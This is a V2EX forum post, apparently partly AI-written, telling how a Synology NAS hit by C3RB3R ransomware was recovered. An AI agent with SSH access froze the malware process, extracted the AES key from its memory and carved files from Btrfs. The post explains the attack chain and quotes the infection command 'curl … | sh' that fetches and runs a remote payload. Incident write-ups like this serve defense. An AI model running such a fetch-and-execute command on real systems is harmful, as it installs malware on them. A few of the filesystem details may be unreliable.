请不要把任何和邀请码有关的内容发到 NAS 节点。

邀请码相关的内容请使用 /go/in 节点。

如果没有发送到 /go/in,那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动,会导致账号被禁用。
5boy
V2EX  ›  NAS

一次群晖 NAS 勒索病毒被坑与恢复实录

  •  
  •   5boy · 8h 24m ago · 631 views

    一次群晖 NAS 勒索病毒被坑与恢复实录

    机型: Synology DS423+ | 4 盘位 RAID 1 + 单盘 Basic
    受害情况: 约 5TB 数据被注入 .L0CK3D 勒索后缀,留有 read-me3.txt
    最终结果: 抓活体进程提取内存密钥 + Btrfs CoW 打捞,1.03TB 相机照片全部赎回,没付一分钱赎金。


    一、被坑

    1.1 发现中招

    事情发生在周末闲逛 V2EX 的时候。论坛首页突然飘起几个求助帖:“群晖 NAS 疑似遭遇新型勒索病毒批量扫荡”、“文件全被重命名为 .L0CK3D”。

    我当时心里还暗笑“这届黑客真能折腾”,心想自己平时网络配置都挺注意的,应该轮不到我。结果随手掏出手机打开群晖 Photos 想刷刷昨天的照片,App 一直转圈加载。切到 DS file 一登,整个人瞬间后背发凉:相册、影音库、备份归档,几乎所有目录底下密密麻麻全被挂上了 .L0CK3D 后缀,每个文件夹里还整整齐齐躺着一封索要 0.05 BTC 的 read-me3.txt 勒索信。

    小丑竟是我自己,我的 NAS 真被黑了。

    1.2 资产损失与清点

    慌归慌,还是得冷静下来赶紧清点家底:

    1. RAID 1 屁用没有:很多新手以为组了双盘 RAID 1 就能高枕无忧,其实 RAID 只是硬件冗余,根本不是备份。逻辑层面的病毒往盘 1 写入加密数据,RAID 控制器就在一微秒内忠实地把加密破坏同步镜像到盘 2 上,防硬件损坏有用,防病毒完全白给。
    2. 手机照片逃过一劫:万幸的是,手机照片平时走群晖官方的 Cloud Sync 单向同步到了百度网盘。我手抖着打开网盘客户端看了一眼,云端照片完好无损,也没被推送新的加密文件。后来排查 /volume1 根目录抓到了同步套件的 core dump:@cloud-workerd...core.gz.L0CK3D 和 @syno-cloud-clie...core.gz.L0CK3D。原来是病毒在后台狂暴扫描改名和加密时,同步进程面对突发的海量文件变动自己先崩了,因祸得福切断了同步通路,网盘反而没被投毒。
    3. 电脑代码安全:主力开发机和 GitHub 上有完整克隆,文档和代码没丢。
    4. 最致命的痛点(相机的 RAW 照片):平时犯懒,嫌几百个 G 的无压缩相机 RAW 照片往网盘传太慢,就只存在了 NAS 本地。这几年的家庭旅行、孩子照片全被死死锁在了这批 .L0CK3D 文件里。这要是丢了真得吐血,所以核心目标就一个:不惜一切代价,救出相机照片。
    5. 几 TB 影视剧:PT 随时能下,大不了费点电重新挂几天,不管了。

    二、恢复过程

    2.1 GitHub 上的开源救砖工具

    去 GitHub 和论坛翻了一圈,锁定了专门针对这次 C3RB3R 勒索家族的两大救命开源项目:

    • **soimy/c3rb3r-rescue**:专门用来抓取没退出的病毒进程内存,从里面抠出对称加密密钥,直接无损解密。
    • **crt106/c3rb3r-btrfs-recovery**:针对加密已完成或尾部损坏的文件,利用群晖 Btrfs 的写时复制( CoW )特性,从磁盘未分配的底层数据块里把原件硬捞出来。

    2.2 网页 AI 人肉搬砖踩坑

    刚开始我像个搬砖工一样,把 GitHub 的 README 和代码贴给网页版 AI ,然后在终端里复制它给的命令。

    这种人肉排障非常折磨:

    • 终端回显网页 AI 看不到,一报错就得来回截图复制日志,巨慢无比;
    • 中途尝试接入 workbuddy 协助排查,折腾半天一事无成,AI 还反复报错甩锅说是我的 Mac 终端环境问题,白白浪费了宝贵的救援黄金窗口。

    2.3 换用 Gemini 3.8 Flash 通过 SSH 接管

    意识到越拖下去病毒越可能自毁抹除内存,我直接把群晖 SSH 授权给 Gemini 3.8 Flash ,让它用 Agent 模式直接进终端排查。

    能直接跑命令看输出的 Agent 和网页聊天完全是两码事。它一进终端,第一件事就是勒令我记住两条准则:

    [灾难恢复黄金准则]
    1. 绝对不要重启 NAS !重启 = 物理内存断电清空 = 钥匙彻底蒸发!
    2. 绝对不要执行 kill -9 !强杀进程 = 释放虚拟内存堆栈 = 现场被彻底销毁!
    

    2.4 恢复三步走

    这一节整个实操过程,我基本不用手敲命令,纯粹是授权让 AI 自动巡检、自动下发命令、自动写脚本并实时根据回显纠错,我就在旁边盯着终端输出看。

    1. 抓活口与定身( Freeze )

    进入终端后,AI 自主遍历进程树,瞬间从几百个系统进程中捕捉到了伪装成动态库调用的恶意 PID:

    # 确认病毒恶意进程
    ps -ef | grep -E "libgld|c3rb3r|lock3d"
    # 关键救命决策:发 SIGSTOP 冻结进程,禁止继续破坏,锁死内存现场
    kill -STOP 14382
    

    SIGSTOP 信号一打,群晖的磁盘 I/O 读写立马归零。病毒被死死“定身”在物理内存中,堆栈和虚拟地址空间完好保留。

    2. 从进程内存提取活体密钥

    黑客虽然吹嘘非对称加密,但他为了快速加密几 TB 的文件,必须在本地内存里生成 AES 对称密钥。只要没重启,这把钥匙就一直躺在内存里。

    AI 依据 soimy/c3rb3r-rescue 原理,直接在 NAS 本地写了个 Python 扫描工具,读取 /proc/14382/maps 和 /proc/14382/mem:

    # 查看进程虚拟内存映射表
    cat /proc/14382/maps | grep "heap"
    # 运行脚本 Dump 内存并做 AES Key 特征匹配
    python3 dump_and_extract_key.py --pid 14382
    

    跑了几秒钟,终端里直接跳出一串 64 位的十六进制字符——会话级明文对称密钥当场拿到!黑客挂在外面的 RSA 挂锁彻底成了摆设,开锁钥匙直接从病毒内存里被掏了出来。

    3. 用 Btrfs CoW 机制打捞碎片

    拿到 key 跑解密,但有一小部分 RAW 照片因为病毒多线程并发搞乱了,尾部损坏解不开。

    AI 马上无缝切到备用策略,调出 crt106/c3rb3r-btrfs-recovery。利用 Btrfs 的写时复制( CoW )特性,原文件被改写重命名时,底层的旧数据块( Data Extents )并没有立刻被物理覆盖,而是标记为空闲。AI 顺着底层 B 树叶节点直接去扒未覆盖的原始数据块。

    靠“内存 key 解密 + Btrfs 底层扇区打捞”两套组合拳,1.03 TB 、数万张极其珍贵的相机 RAW 照片全数赎回,MD5 逐一校验无损坏!


    三、深究原理

    3.1 勒索病毒的加密机制

    很多朋友听到对称和非对称就头大,其实原理一点都不神秘:

    1. 对称与非对称到底是个啥?

    • 对称加密(普通铁钥匙): 同一把钥匙既能锁门也能开门。优点是极快,几 TB 数据几小时搞定;缺点是钥匙不能外露。
    • 非对称加密(带锁孔的特制挂锁): 一把敞开的挂锁(公钥)配一把独家钥匙(私钥)。谁都可以拿手一捏锁上,但一旦锁死,捏锁的人自己打不开,只有黑客手里那把唯一的私钥才能开。缺点是极慢,算力消耗大。

    2. 黑客为什么不全用公钥加密?

    如果 5TB 文件全用非对称公钥去算,群晖那颗 J4125 能卡死冒烟,算半年都算不完。没等他加密完几个文件夹,你就因为风扇狂转把电源拔了。勒索讲究神不知鬼不觉,慢了等于自杀。

    3. 勒索病毒的混合套路

    所以黑客玩了一招混合加密:

    1. 第一步(快锁): 病毒在 NAS 内存里临时生成一把轻便的普通铁钥匙( AES 对称密钥),飞速把你 5TB 照片全锁了;
    2. 第二步(锁钥匙): 锁完后,病毒掏出黑客给的挂锁( RSA 公钥),把这把铁钥匙锁进小盒子里,随手缝在被锁照片的屁股后面。
    flowchart TD
        subgraph Pipeline["病毒的混合加密流水线"]
            A["NAS 内存中临时生成一把普通铁钥匙"] --> B["用铁钥匙飞速锁死你的 5TB 照片<br>(速度极快,几小时搞定)"]
            C["黑客提供的敞开挂锁"] --> D["把这把普通铁钥匙锁进小盒子里<br>(咔哒一声锁死)"]
            D --> E["把密封小盒子缝在每张照片的尾部"]
        end
    

    4. 为什么黑客能免费解密一张验货?

    你传一张照片过去,黑客服务器切下文件末尾的小盒子,在自己的老窝里用全世界唯一的私钥打开盒子,拿到里面的铁钥匙,把照片还原发还给你看,证明他有能力解密。但他绝不会把那把铁钥匙直接给你。

    5. 为什么抓进程能全救回来?

    黑客的设计看似天衣无缝,但他有个物理上的致命死穴: 他在后台一张一张加密你文件的时候,那把能解开一切的铁钥匙,必须一直握在手里(也就是一直放在 NAS 的内存 RAM 里)!

    • 如果你手贱关机或重启,内存一断电,钥匙当场灰飞烟灭,神仙难救;
    • 但如果你没关机也没 kill ,直接用 kill -STOP 定住进程,内存里的钥匙就不会丢。我们用脚本去扫进程内存 /proc/$PID/mem,当场把铁钥匙搜出来。有了钥匙,谁还需要黑客的私钥?

    3.2 病毒入侵全过程

    没泄露账号密码,NAS 是怎么沦陷的?

    sequenceDiagram
        autonumber
        actor Hacker as 互联网黑客扫描器
        participant DMZ as 光猫/路由器 DMZ 暴露
        participant DSM as 群晖 Nginx / Web 服务
        participant Sys as NAS 操作系统底层 Root
    
        Hacker->>DMZ: 广域网扫描开放端口
        DMZ->>DSM: 流量直通 NAS 内网 IP
        Hacker->>DSM: 发送特制畸形 HTTP 请求 (超长 Buffer)
        Note over DSM: C/C++ 内存缓冲区溢出 (越界覆盖 RIP 返回地址)
        DSM->>Sys: 越权劫持 CPU 指令指针,执行恶意 Payload
        Sys-->>Hacker: 反弹 Shell ,下载 c3rb3r 挖矿/勒索母体
    
    1. 祸根在于偷懒开 DMZ:为了外网访问方便,在路由器里把 NAS 设成了 DMZ 主机,相当于把群晖所有端口全裸暴露在公网上。
    2. Pre-Auth RCE 缓冲区溢出:黑客扫描器扫到暴露端口,利用群晖旧版本组件里 C/C++ 编写的底层 Web 服务的缓冲区溢出漏洞。发了一段畸形的超长 HTTP 请求,直接冲垮栈内存覆盖了 CPU 指令返回地址,在不需要任何密码的情况下,让 NAS 直接以 root 权限执行了黑客脚本:curl -s http://黑客源/c3rb3r | sh。

    3.3 Btrfs CoW 机制与恢复

    Btrfs 是打捞遗漏文件的功臣,但它有严格的边界:

    flowchart LR
        subgraph BtrfsCoW["Btrfs 写时复制 (CoW)"]
            A["原文件 Data Extents<br>物理扇区 A"] --> B["病毒修改并加密"]
            B --> C["新数据写入扇区 B"]
            B --> D["原扇区 A 未被抹除,标记为 Free"]
        end
    
    • 为什么能打捞? Btrfs 写数据从不原地覆盖,新数据写到新扇区,旧扇区保留并标记为空闲。病毒加密改写时,原始数据的磁盘扇区实际上还在,只要没被新写入覆盖,就能强行捞出。
    • 为什么 1MB 以下小文件全军覆没? Btrfs 有个特性叫 Inline Extents ,1MB 以下的小文件为了省空间,默认直接塞在 B 树的元数据叶子节点里。病毒加密重命名时原地重写了元数据,小文件随着元数据当场被抹平,底层根本没有历史数据块可捞。

    四、安全加固

    4.1 Btrfs 不可变快照

    防勒索最管用的是让历史无法被修改:

    • 装上群晖 Snapshot Replication 套件;
    • 开启不可变快照( Immutable Snapshots ),锁定 7~14 天。在这期间任何权限(包括 root 和病毒)都删不掉快照;
    • 以后就算再被加密,点一下鼠标一秒回滚。

    4.2 相机照片异地备份

    • 老实遵守 3-2-1 备份原则,相机照片再大也不偷懒了;
    • 用 Cloud Sync 在夜间闲时自动加密上传到异地网盘或对象存储。

    4.3 网络收拢

    • 立即关掉光猫和路由器的 DMZ ;
    • 关闭默认端口( 5000/5001/22 ),路由器外网只映射一个高位无规律端口(比如 44433);
    • Nginx 开启 Host 白名单:未携带正确二级域名的探测流量一律直接返回 404 切断,公网扫 IP 连端口跑了什么都刺探不出来。

    4.4 系统与安全补丁策略

    • 别迷信“系统能稳定跑就坚决不更新”;
    • 开启 DSM 重大安全更新自动安装,防患于未然。

    结语

    从凌晨看到满屏 .L0CK3D 的后背发凉,到用 SIGSTOP 锁死现场、从内存深处掏出钥匙,再到深挖 Btrfs 底层扇区夺回全家照片,这一仗打得确实惊险,也彻底改变了我对 AI 的看法。

    1. 垃圾 AI 和牛逼 AI 真的能决定生死

    平时写写打卡文案、水水周报,不同 AI 的代差看着微不足道;但在这种重大事故面前,垃圾 AI 和牛逼 AI 的差距,真的能决定你几千个 G 数据的生死。

    • 垃圾 AI 是时间杀手:只会在网页端机械地搬运 README ,对系统底层两眼一抹黑。报错了不仅帮不上忙,还甩锅说是你的环境问题,白白把抢救内存活体钥匙的黄金窗口拖没了;
    • 牛逼 Agent 就像带了个安全老手:直接通过 SSH 进终端,进场就能看懂内核、进程树和存储系统。知道哪些命令是救命的(kill -STOP 留堆栈),知道哪些操作是万劫不复的(禁止重启、禁止 kill -9),现场写脚本提取内存 key ,顺着底层扇区捞碎片。几十分钟把 1TB 的家庭照片全盘救了回来。

    2. AI 是一把双刃剑

    这场事故也反映出如今残酷的网络攻防现实:

    • 攻击门槛彻底打穿:黑客用大模型找暴露面、扫 0-day 、拼装免杀勒索脚本的成本极其廉价。脚本小子拿着 AI 就能全网 24 小时无差别狂轰滥炸,开 DMZ 裸奔分分钟沦陷;
    • 防守更需利刃:但武器在防守方手里同样是神器。面对复杂的底层取证、扇区打捞和网络防线重构,懂架构的工程师配合顶尖 AI ,几十分钟就能完成以前人工排查几天都未必搞得定的活。
    6 replies  •  2026-11-03 00:33:15 +08:00
    Erniu
    Erniu
    8h 12m ago
    1
    我不喜欢在这里看 AI 写的文章,而且你直接粘贴到这里,mermaid 也渲染不出来。
    johnsonhk
    johnsonhk
    4h 6m ago via Android
    2
    额,我居然全部看完,学习了😊
    KamNaz
    KamNaz
    3h 48m ago
    3
    非常好的帖子,体会了一把劫后余生。本次浩劫刚好因为 PHP 漏洞爆发关闭了群晖的端口转发,不然我那年初就拖着没更新的 update9 中招后果真是不敢想。
    Overfill3641
    Overfill3641
    3h 43m ago
    4
    V2EX (×
    V2AIEX (√
    一个只能 AI 发帖不能 AI 回复的社区
    someonesnone
    someonesnone
    3h 35m ago
    5
    我把这个帖子喂给 workbuddy 让它 ssh 检查了一下 没事安全
    TsubasaHanekaw
    TsubasaHanekaw
    3h 31m ago
    6
    不是 dmz 的问题, 是群晖登陆界面有问题。 用 cf tunnel 反代出来的也中招。只是机械硬盘加老旧的 cpu 导致加密速度太慢了。 让我发现的时候 程序还在加密中。从内存 dump 出来的密钥
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1272 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 807ms · UTC 20:05 · PVG 04:05 · LAX 12:05 · JFK 15:05
    ♥ Do have faith in what you're doing.